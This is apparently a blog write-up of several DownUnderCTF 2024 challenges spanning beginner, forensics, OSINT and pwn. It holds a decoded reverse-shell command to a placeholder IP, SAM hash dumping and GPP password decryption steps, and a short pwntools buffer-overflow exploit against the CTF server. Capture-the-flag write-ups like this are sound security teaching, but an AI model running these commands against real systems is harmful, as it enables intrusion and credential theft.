DownUnderCTF
Well, now and then, we come across a big CTF like this. Starting out late, let’s see how it goes.
1
Authors: AbuCTF, MrRobot, SHL, MrGhost, PattuSai, Rohmat
Okay, but I have to post this LOL.
Beginner
TLDR please summarize
Description:
I thought I was being 1337 by asking AI to help me solve challenges, now I have to reinstall Windows again. Can you help me out by find the flag in this document?
Author: Nosurf
Given: EmuWar.Docx
Straight away, I copy the docx
file into a zip
and extract. Going straight to /word/document.xml
,
cause that contains the actually content of the docx
file. Opening in VS Code.
Onto to the pastebin site, we see a base64
string decoding it, we get the flag.
1
2
3
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/begin]
└─$ echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8yNjEuMjYzLjI2My4yNjcvRFVDVEZ7Y2hhdGdwdF9JX24zM2RfMl8zc2NhcDN9IDA+JjE=" | base64 -d
bash -i >& /dev/tcp/261.263.263.267/DUCTF{chatgpt_I_n33d_2_3scap3} 0>&1
Flag: DUCTF{chatgpt_I_n33d_2_3scap3}
Shufflebox
Description:
I’ve learned that if you shuffle your text, it’s elrlay hrda to tlle htaw eht nioiglra nutpi aws.
Find the text censored with question marks in output_censored.txt
and surround it with DUCTF{}
.
Author: hashkitten
Given: shufflebox.py
output_censored.txt
The given code in shufflebox.py
uses a permutation list (PERM
) to shuffle the characters of a 16-character string. The goal is to reverse this permutation process to find the original string that, when shuffled using the same permutation, results in the given output.
Let’s go through the shufflebox.py
script step by step to understand its functionality.
shufflebox.py
Breakdown
1
2
3
4
import random
PERM = list(range(16))
random.shuffle(PERM)
- Import the random module: This module will be used to generate a random permutation.
- Create a list
PERM
with numbers from 0 to 15: This represents the indices of a 16-character string. - Shuffle the
PERM
list: Therandom.shuffle(PERM)
function randomly shuffles the elements in the list. This shuffled list will be used as the permutation to reorder characters in the input string.
1
2
3
def apply_perm(s):
assert len(s) == 16
return ''.join(s[PERM[p]] for p in range(16))
- Define the
apply_perm
function: This function takes a 16-character strings
as input. - Assert the length of the string: The function checks if the input string has exactly 16 characters. If not, it raises an assertion error.
- Reorder characters using the permutation: The function returns a new string where each character in the input string
s
is placed at the position specified by the shuffled listPERM
.
For example, if PERM
is [3, 0, 1, 2, 7, 4, 5, 6, 11, 8, 9, 10, 15, 12, 13, 14]
and the input string is “abcdefghijklmnop”:
- The character at index
0
in the input string moves to index3
in the output string. - The character at index
1
in the input string moves to index0
in the output string. - This continues for all 16 characters.
1
2
3
for line in open(0):
line = line.strip()
print(line, '->', apply_perm(line))
- Read input lines: The script reads lines from the standard input (file descriptor 0). Each line is expected to be a 16-character string.
- Strip any extra whitespace: The script removes leading and trailing whitespace from each line.
- Apply the permutation and print the result: The script applies the
apply_perm
function to the line and prints the original line followed by the permuted line.
Example Execution
Let’s walk through an example:
Assume PERM
after shuffling is [2, 3, 0, 1, 6, 7, 4, 5, 10, 11, 8, 9, 14, 15, 12, 13]
.
If the input line is “abcdefghijklmnop”:
- The input string “abcdefghijklmnop” will be transformed using the permutation
[2, 3, 0, 1, 6, 7, 4, 5, 10, 11, 8, 9, 14, 15, 12, 13]
. - The resulting permuted string will be “cdabghiefjklmnop”.
You’d have to be absolutely mental, if you tried to brute-force this.
random.shuffle(x)
To shuffle an immutable sequence and return a new shuffled list, use sample(x, k=len(x))
instead. Note that even for small len(x)
, the total number of permutations of x can quickly grow larger than the period of most random number generators. This implies that most permutations of a long sequence can never be generated. For example, a sequence of length 2080 is the largest that can fit within the period of the Mersenne Twister random number generator.
At this point, I’ve tried my best. Tried looking at similar past write-ups, even looking at random.shuffle
module source code. Well, let’s now wait for the write-ups.
My big-brain teammate @PattuSai
solved this in no time. I’m gonna cry.
1
2
3
aaaabbbbccccdddd -> ccaccdabdbdbbada
abcdabcdabcdabcd -> bcaadbdcdbcdacab
???????????????? -> owuwspdgrtejiiud
Just compare the 2 output sequences, and search for the same pair sequence in input. For example, in the first pair of input is [a , a]. Now, we search for the the same sequence in the output sequence, we find [a, a] is in the 2nd index. Find out the character 2nd index of the cipher and place it in the 0th index. Pattern follows.
Flag: DUCTF{udiditgjwowsuper}
BTW, I came across this portfolio. Absolutely blew me away !
Miscellaneous
Discord
Description:
The evil bug has torn one of our flags into pieces and hidden it in our Discord server - https://duc.tf/discord. Can you find all the pieces for us? Form an alliance at #team-search
to coordinate and expedite your search efforts. Make sure to opt in at #opt-in-updates
channel to stay updated on new hints and challenges being released. Join us on the journey to defeat the evil bug!
Author: DUCTF
First part of the flag can be found it the #team-search channel.
And the second is in #opt-in-updates
Flag: DUCTF{f1r57_0f_m4ny}
Forensics
Baby’s First Forensics
Description:
They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?
NOTE: Wrap your answer in the DUCTF{}
, e.g. DUCTF{nmap_7.25}
Author: Pix
Given: capture.pcap
Since, we were to find just the tool the attacker is using, I just used strings
on it to find the tool.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics]
└─$ strings capture.pcap | more
in-addr
arpa
in-addr
arpa
root-servers
nstld
verisign-grs
HEAD / HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)
Host: 172.16.17.135
Flag: DUCTF{Nikto_2.1.6}
SAM I AM
Description:
The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files.
Can you reproduce how they got the Administrator’s Password with the artifacts provided?
Place the Administrator Account’s Password in DUCTF{}
, e.g. DUCTF{password123!}
Author: TurboPenguin
Given: samiam.zip
Unzipping the file, we get a system.bak
and sam.bak
1
2
3
4
5
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics]
└─$ unzip samiam.zip
Archive: samiam.zip
inflating: samiam/sam.bak
inflating: samiam/system.bak
Since, I had experience with SAM registry files. This time the SYSTEM file was also provided. Went straight to samdump2
1
2
3
4
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics/samiam]
└─$ samdump2 system.bak sam.bak
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Using crackstation
, we crack the NTLM hash.
Flag: DUCTF{!checkerboard1}
Bad Policies
Description:
Looks like the attacker managed to access the rebels Domain Controller.
Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?
Author: TurboPenguin
Given: badpolicies.zip
Get familiar with the directories and files. Especially, Group Policy Preferences (GPP) configurations.
One such example is the one at \badpolicies\rebels.ductf\Policies\{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}\Machine\Preferences\Groups\Groups.xml
1
2
3
4
5
6
7
8
9
10
11
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics/badpolicies/rebels.ductf/Policies/{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}/Machine/Preferences/Groups]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="Backup" image="2" changed="2024-06-12 14:26:50"
uid="{CE475804-94EA-4C12-8B2E-2B3FFF1A05C4}">
<Properties action="U" newName="" fullName="" description=""
cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2"
changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Backup"/></User>
</Groups>
This gives us a GPP Password. Note: The presence of the cpassword
attribute indicates an encrypted password. However, it is known that the encryption method used by GPP is weak and reversible, meaning an attacker could potentially decrypt the password if they gained access to this XML file.
Use a tool called gpp-decrypt
to decrypt the password.
1
2
3
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics/badpolicies/rebels.ductf/Policies/{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}/Machine/Preferences/Groups]
└─$ gpp-decrypt B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2
DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}
Flag: DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}
OSINT
offtheramp
Description:
That looks like a pretty cool place to escape by boat, EXAMINE the image and discover the name of this structure.
NOTE: Flag is case-insensitive and requires placing inside DUCTF{}
! e.g DUCTF{name_of_structure}
Author: Anon
Given: offtheramp.jpg
Been using an AI called picarta
, to help narrow down photos for OSINT.
Now, this gave me a straight hit. Damn.
Flag: DUCTF{olivers_hill_boat_ramp}
cityviews
Description:
After having to go on the run, I’ve had to bunker down. Which building did I capture this picture from?
NOTE: Flag is case-insensitive and requires placing inside DUCTF{}
! e.g DUCTF{building_name}
Author: Anon
Given: cityviews.jpg
Turns out, we still in Melbourne.
First, I found the source, by playing around with google lens.
Found this image, and then narrowed down.
Flag: DUCTF{hotel_indigo}
Bridget Lives
Description:
After dropping numerous 0days last year Bridget has flown the coop. This is the last picture she posted before going dark. Where was this photo taken from?
NOTE: Flag is case-insensitive and requires placing inside DUCTF{}
! e.g. DUCTF{name_of_building}
Author: a_metre
Given: bridget.png
After a simple google, we land on Singapore. We find the bridge pretty easily.
Flag: DUCTF{four_points}
marketing
Description: We have the best marketing team!
Except for that one monke that looks like they slapped something together…
Maybe the bot should lock away that monke to stopping posting stuff online. The other animals should be free, just not the monke.
Author: ghostccamm
Typical OSINT type stuff, go straight to the Discord server for clues. Found em!
With that, we find the username ghostccamm
. Turns out he uses Twitter with the same username.
Look closely.
Flag: DUCTF{doing_a_bit_of_marketing}
Wait, I found this flag is actually for the marketing challenge LOL. I’ll just edit the title then.
back to the jungle
Description:
Did MC Fat Monke just drop a new track????? 👀👀👀
Author: ghostccamm
Just google MC Fat Monke.
Watch the video with eyes open. @2:34, we see a link.
1
average-primate-th.wixsite.com/mc-fat-monke-appreci
Flag: DUCTF{wIr_G0iNg_b4K_t00_d3r_jUNgL3_mIt_d15_1!!111!}
Pwn
vector overflow
Description:
Please overflow into the vector and control it!
Author: joseph
1
nc 2024.ductf.dev 30013
Given: vector_overflow
vector_overflow.cpp
As pwn’s
ultimate noob, I’m hyped nervous af right now.
1
2
3
4
5
6
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ file vector_overflow
vector_overflow: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=4a0b824c662ee47b5cd3e73176c0092f1fcf714b,
for GNU/Linux 3.2.0, not stripped
Let’s understand, what all this means.
- ELF 64-bit LSB executable, x86-64: This indicates that the file is an Executable and Linkable Format (ELF) file, which is a standard file format for executables, object code, shared libraries, and core dumps in Unix-like operating systems. “64-bit” specifies that it is a 64-bit executable, and “LSB” (Least Significant Byte first) indicates the byte order (also known as little-endian). “x86-64” specifies the architecture, meaning it is designed for 64-bit Intel and AMD processors.
- version 1 (SYSV): This refers to the ELF version and the System V ABI (Application Binary Interface) standard, which is a specification that defines a binary interface for application programs on UNIX systems.
- dynamically linked: This indicates that the executable is dynamically linked, meaning it relies on shared libraries (e.g., libc.so) that are loaded into memory at runtime rather than being statically linked (included in the executable itself).
- interpreter /lib64/ld-linux-x86-64.so.2: This specifies the dynamic linker/loader that will be used to load the shared libraries required by the executable. The specified interpreter is
/lib64/ld-linux-x86-64.so.2
, which is the standard dynamic linker for 64-bit Linux systems. - BuildID[sha1]=4a0b824c662ee47b5cd3e73176c0092f1fcf714b: This is a unique identifier for the binary, generated using the SHA-1 hashing algorithm. It can be used for debugging purposes or to verify the integrity of the executable.
- for GNU/Linux 3.2.0: This indicates the minimum version of the Linux kernel that is required to run the executable. In this case, the executable requires at least version 3.2.0 of the Linux kernel.
- not stripped: This means that the debugging symbols have not been removed from the executable. Debugging symbols provide additional information that can be useful for debugging the program, such as function names, variable names, and line numbers.
In summary, vector_overflow
is a 64-bit ELF executable for the x86-64 architecture, dynamically linked with shared libraries, designed to run on Linux kernel version 3.2.0 or higher, and contains debugging symbols.
1
2
3
4
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ checksec --file=vector_overflow
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 121 Symbols No 0 1 vector_overflow
Source: Sven Vermeulen
@ 15 July 2011
It even comes with pretty colors (the “No RELRO
” is red whereas “Full RELRO
” is green). But beyond interpreting those colors (which should be obvious for the non-colorblind), what does that all mean? Well, let me try to explain them in one-paragraph entries (yes, I like such challenges ;-) Note that, if a protection is not found, then it probably means that the application was not built with this protection.
RELRO
stands for Relocation Read-Only
, meaning that the headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched). The difference between Partial RELRO and Full RELRO is that the Global Offset Table
(and Procedure Linkage Table) which act as kind-of process-specific lookup tables for symbols (names that need to point to locations elsewhere in the application or even in loaded shared libraries) are marked read-only too in the Full RELRO. Downside of this is that lazy binding (only resolving those symbols the first time you hit them, making applications start a bit faster) is not possible anymore.
A Canary
is a certain value put on the stack (memory where function local variables are also stored) and validated before that function is left again. Leaving a function means that the “previous” address (i.e. the location in the application right before the function was called) is retrieved from this stack and jumped to (well, the part right after that address - we do not want an endless loop do we?). If the canary value is not correct, then the stack might have been overwritten / corrupted (for instance by writing more stuff in the local variable than allowed - called buffer overflow) so the application is immediately stopped.
The abbreviation NX
stands for non-execute or non-executable segment. It means that the application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa. Having NX enabled would be good.
The last abbreviation is PIE
, meaning Position Independent Executable. A No PIE application tells the loader which virtual address it should use (and keeps its memory layout quite static). Hence, attacks against this application know up-front how the virtual memory for this application is (partially) organized. Combined with in-kernel ASLR
(Address Space Layout Randomization, which Gentoo’s hardened-sources of course support) PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult.
RPATH
:- No RPATH: The RPATH is a hard-coded path in the executable that tells the dynamic linker where to look for shared libraries. The absence of RPATH indicates that no such path is hard-coded in the binary.
RUNPATH
:- No RUNPATH: Similar to RPATH, RUNPATH is another hard-coded path in the executable for shared libraries. The absence of RUNPATH indicates that no such path is hard-coded in the binary.
Symbols
:- 121 Symbols: This indicates that the executable contains 121 symbols, which could include function names, variable names, etc. These symbols can be useful for debugging and analysis.
Again, what is FORTIFY_SOURCE
? Well, when using FORTIFY_SOURCE, the compiler will try to intelligently read the code it is compiling / building. When it sees a C-library function call against a variable whose size it can deduce (like a fixed-size array - it is more intelligent than this btw) it will replace the call with a FORTIFY
‘ed function call, passing on the maximum size for the variable. If this special function call notices that the variable is being overwritten beyond its boundaries, it forces the application to quit immediately. Note that not all function calls that can be fortified are fortified as that depends on the intelligence of the compiler (and if it is realistic to get the maximum size). Well, enough theory. Running the checksec command again, we see something different. I mean I ran the command on the same machine this morning. Have a look.
1
2
3
4
5
6
7
8
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ checksec --file=vector_overflow
[*] '/mnt/c/Documents4/CyberSec/DUCTF/pwn/vector_overflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Anyways, let’s not use Ghidra
for now. Into GDB
we go.
1
2
3
4
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ gdb ./vector_overflow
GNU gdb (Debian 13.2-1+b1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
First thing I did,
(gdb) info functions
Which reveals these guys.
Wait. I already have the source. Why am I disassembling !
Let’s understand this shall we.
Explanation of the Code
Global Variables:
1 2
char buf[16]; std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};
buf
is a global character array with a size of 16.v
is a global vector of characters initialized with five ‘X’ characters.
- Functions:
lose()
:1 2 3 4
void lose() { puts("Bye!"); exit(1); }
- This function prints “Bye!” and then exits the program with a status code of 1.
win()
:1 2 3 4
void win() { system("/bin/sh"); exit(0); }
- This function executes a shell (
/bin/sh
) using thesystem
function and then exits the program with a status code of 0.
- This function executes a shell (
Main Function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
int main() { char ductf[6] = "DUCTF"; char* d = ductf; std::cin >> buf; if(v.size() == 5) { for(auto &c : v) { if(c != *d++) { lose(); } } win(); } lose(); }
ductf
is a local character array initialized with the string “DUCTF”.d
is a pointer to the beginning ofductf
.std::cin >> buf;
:- This line reads input from the user and stores it in
buf
. Note thatbuf
can hold up to 15 characters plus a null terminator.
- This line reads input from the user and stores it in
if(v.size() == 5)
:- This checks if the size of the vector
v
is 5, which it always is because it’s initialized with five ‘X’ characters.
- This checks if the size of the vector
for(auto &c : v)
:- This loop iterates over each character
c
in the vectorv
. if(c != *d++)
:- This checks if the current character
c
in the vector is not equal to the current character pointed to byd
, and then increments the pointerd
. - If any character in the vector
v
is not equal to the corresponding character inductf
, thelose()
function is called, terminating the program.
- This checks if the current character
- This loop iterates over each character
- If all characters in the vector
v
match the characters inductf
, thewin()
function is called, which opens a shell and then exits the program. - If the size of the vector
v
is not 5, the program calls thelose()
function and terminates.
Just as a remainder. Probably to myself,
Position Independent Executable (PIE):
- PIE is a security feature that allows executables to be loaded at random memory addresses each time they are executed. This is a part of
Address Space Layout Randomization (ASLR)
. - When a binary is compiled as a PIE, it can be loaded at any address in memory, which makes it more difficult for an attacker to predict the locations of specific functions or variables.
You get the point right, basically goal of the buffer overflow exploit would be to overwrite the contents of the vector v
with “DUCTF” to bypass the checks and execute the win()
function. But simply doing things like AAAAAAAAAAAAAAADUCTF
won’t work. To successfully exploit the buffer overflow and call the win
function in the provided program, you need to find the memory addresses of the functions and calculate the correct offsets. Now, let’s continue with GDB
.
Since, we already know the size of the buffer, we move on to finding the memory address of the buffer , which is 0x4051e0
. Well the, now comes the most important part, scripting the exploit and sending it to the server.
This is done through Pwntools
. It’s so useful so many things. Check it out at.
1
2
3
4
5
6
from pwn import *
# p = process('./vector_overflow')
p = remote('2024.ductf.dev', 30013)
p.sendline(b'DUCTF' + b'A' * 11 + p64(0x4051e0) + p64(0x4051e5))
p.interactive()
Flag: DUCTF{y0u_pwn3d_th4t_vect0r!!}
This is how I felt after the challenge.
References
High level explanation on some binary executable security
DownUnderCTF 2024 Write-Up · Ouuan’s blog
Identify security properties on Linux using checksec